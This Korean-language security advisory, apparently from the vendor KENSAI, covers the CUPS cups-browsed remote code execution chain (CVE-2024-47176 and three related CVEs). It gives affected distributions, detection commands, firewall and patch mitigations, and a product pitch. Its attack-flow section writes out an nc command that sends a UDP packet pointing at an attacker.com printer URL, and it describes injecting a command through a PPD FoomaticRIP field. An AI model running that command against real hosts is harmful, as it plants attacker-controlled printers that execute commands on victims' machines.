CVE-2024-47176: CUPS Linux RCE — 인터넷 노출 시스템 30만 대
4개의 CUPS 취약점 체인(CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177)은 cups-browsed를 실행하는 Linux 시스템에서 인증되지 않은 원격 코드 실행을 가능하게 합니다. 공개 당시 30만 대 이상의 시스템이 인터넷에 노출되어 있었습니다. Ubuntu, Debian, Red Hat, Fedora를 비롯한 대부분의 Linux 배포판에 기본적으로 영향을 미칩니다.
| 속성 | 값 |
|---|---|
| 주요 CVE | CVE-2024-47176 |
| 관련 CVE | CVE-2024-47076, -47175, -47177 |
| CVSS 벡터 | AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-20: 부적절한 입력 검증 |
| 공개일 | 2024년 9월 26일 |
| 익스플로잇 현황 | 공개 PoC 존재 — 기회주의적 스캐닝 관찰됨 |
CVE-2024-47176이란?
CUPS(Common Unix Printing System)는 Linux와 macOS의 기본 인쇄 인프라입니다. cups-browsed 데몬은 네트워크상의 프린터 알림을 수신하기 위해 UDP 631 포트에서 대기합니다. CVE-2024-47176은 4개 취약점 체인의 진입점입니다: cups-browsed는 인터넷을 포함한 모든 출처에서 인증 없이 UDP 패킷을 수락합니다.
조작된 UDP 패킷을 631 포트로 전송하면, 공격자는 피해자의 시스템이 공격자가 제어하는 "프린터"에 다시 연결하도록 만들 수 있습니다. 이 악성 프린터는 명령이 내장된 조작된 PPD(PostScript Printer Description) 파일을 제공합니다. 피해자가 무엇이든 인쇄하면, 해당 명령이 피해자의 시스템에서 실행됩니다.
전체 공격 체인
| CVE | 구성 요소 | 설명 |
|---|---|---|
| CVE-2024-47176 | cups-browsed | UDP 0.0.0.0:631에 바인딩되어 모든 IP로부터 패킷을 수락 |
| CVE-2024-47076 | libcupsfilters | PPD 파일 생성 시 IPP 속성 값을 검증하지 않음 |
| CVE-2024-47175 | libppd | PPD 파일 생성 시 IPP 속성을 검증하지 않음 |
| CVE-2024-47177 | cups-filters | FoomaticRIPCommandLine이 임의 명령 실행을 허용 |
공격 흐름
# 1단계: 공격자가 대상:631로 UDP 패킷 전송 echo "0 3 http://attacker.com:8631/printers/evil" | nc -u -w1 target.com 631 # 2단계: cups-browsed가 공격자 서버에서 IPP 속성을 가져옴 # 공격자의 서버가 악성 프린터 속성을 반환함 # 3단계: libcupsfilters/libppd가 검증되지 않은 공격자 데이터로 PPD를 생성 # PPD에 포함된 내용: *cupsFilter: "application/vnd.cups-pdf 0 [attacker-cmd]" # 4단계: 이후 누군가 인쇄할 때(또는 관리자가 테스트 인쇄를 실행할 때): # FoomaticRIP가 PPD의 명령을 실행함 # 명령은 lp 사용자 권한으로 실행됨(대개 상당한 파일시스템 접근 권한 보유)
⚠ 설정 이후 추가 사용자 상호작용 불필요
공격자는 악성 프린터를 등록하기 위해 단 하나의 UDP 패킷만 전송하면 됩니다. 이후 시스템의 어떤 사용자가 인쇄를 시도하는 순간 익스플로잇이 실행됩니다 — 몇 시간, 며칠 후의 일상적인 인쇄 작업도 포함됩니다. 서버의 경우, 공격자가 새로 설치된 악성 프린터로 인쇄 작업을 전송해 원격으로 익스플로잇을 유발할 수도 있습니다.
영향 범위
공개 시점에 Shodan과 Censys 스캔 결과 약 30만 대의 인터넷 노출 시스템에서 UDP 631 포트가 열려 있는 것으로 확인되었습니다. 이 취약점은 cups-browsed를 탑재한 사실상 모든 주요 Linux 배포판에 영향을 미칩니다:
- Ubuntu(데스크톱 에디션에서 cups-browsed가 기본적으로 활성화됨)
- Debian 및 파생 배포판
- Red Hat Enterprise Linux / CentOS / Rocky Linux
- Fedora
- Arch Linux
- 대부분의 Linux 데스크톱 배포판
macOS는 자체 인쇄 스택을 사용하므로 영향을 받지 않습니다. 다만 macOS도 내부적으로 CUPS를 사용하므로, 특정 구성에서는 관련 문제의 영향을 받을 수 있습니다.
탐지
# cups-browsed 실행 여부 확인 systemctl status cups-browsed ps aux | grep cups-browsed # UDP 631이 노출되어 있는지 확인 ss -ulnp | grep 631 netstat -ulnp | grep 631 # 예상치 못한 프린터 추가 여부 확인 lpstat -a cat /etc/cups/printers.conf | grep -i "deviceuri\|remote" # 의심스러운 PPD 파일 탐색 find /etc/cups /var/cache/cups -name "*.ppd" -newer /etc/cups/cups-browsed.conf # 예상치 못한 IPP 연결에 대한 로그 확인 grep "cups-browsed" /var/log/cups/error_log | grep "Adding\|New printer"
완화 방안
- 불필요한 경우 cups-browsed 중지 및 비활성화:
sudo systemctl stop cups-browsed sudo systemctl disable cups-browsed
- 패치 적용: cups-browsed 2.0.1과 cups-filters 2.0.1이 이 취약점들을 해결합니다. Ubuntu, Debian, Red Hat은 공개 후 며칠 만에 패치를 배포했습니다.
- 방화벽에서 UDP 631 포트 차단: 외부 패킷이 cups-browsed에 도달하지 못하도록 차단
sudo iptables -A INPUT -p udp --dport 631 -j DROP sudo ufw deny 631/udp
- 불필요한 경우 FoomaticRIP 제거: 마지막 RCE 단계는 foomatic-rip를 필요로 합니다. (Foomatic 프린터를 사용하지 않는 경우) 이를 제거하면 코드 실행 가능성이 사라집니다.
- 프린터 구성 점검: 다음 파일에서 인식되지 않는 프린터 항목을 제거하세요:
/etc/cups/printers.conf
💡 대부분의 서버는 취약하지 않습니다: Linux 서버 설치본은 일반적으로 cups-browsed를 기본으로 설치하지 않습니다. 더 높은 위험은 Linux 워크스테이션과 개발 머신에 있습니다. 다만 인쇄를 위해 구성된 모든 Linux 시스템은 점검해야 합니다.
KENSAI 탐지 역량
- UDP 포트 스캐닝: KENSAI는 외부 공격 표면 전반에서 인터넷에 노출된 UDP 631 서비스를 식별합니다
- 서비스 핑거프린팅: 네트워크 응답으로부터 CUPS 버전과 cups-browsed 존재 여부를 식별합니다
- 내부 네트워크 스캐닝: KENSAI의 내부 스캐너는 내부 Linux 워크스테이션과 서버에서 실행 중인 cups-browsed를 식별합니다
- 패키지 버전 탐지: 에이전트 기반 스캐닝으로 Linux 엔드포인트의 취약한 CUPS 패키지 버전을 식별합니다
- 해결 가이드: 해당 배포판에 맞는 OS별 명령을 포함한 단계별 해결 안내를 제공합니다
환경 내 몇 대의 Linux 시스템에 cups-browsed가 노출되어 있습니까?
KENSAI는 내부 및 외부 공격 표면 전반에서 모든 Linux 시스템의 CUPS 취약점을 스캔합니다. 몇 분 만에 전체 현황을 파악하세요.
CUPS 노출 확인하기 →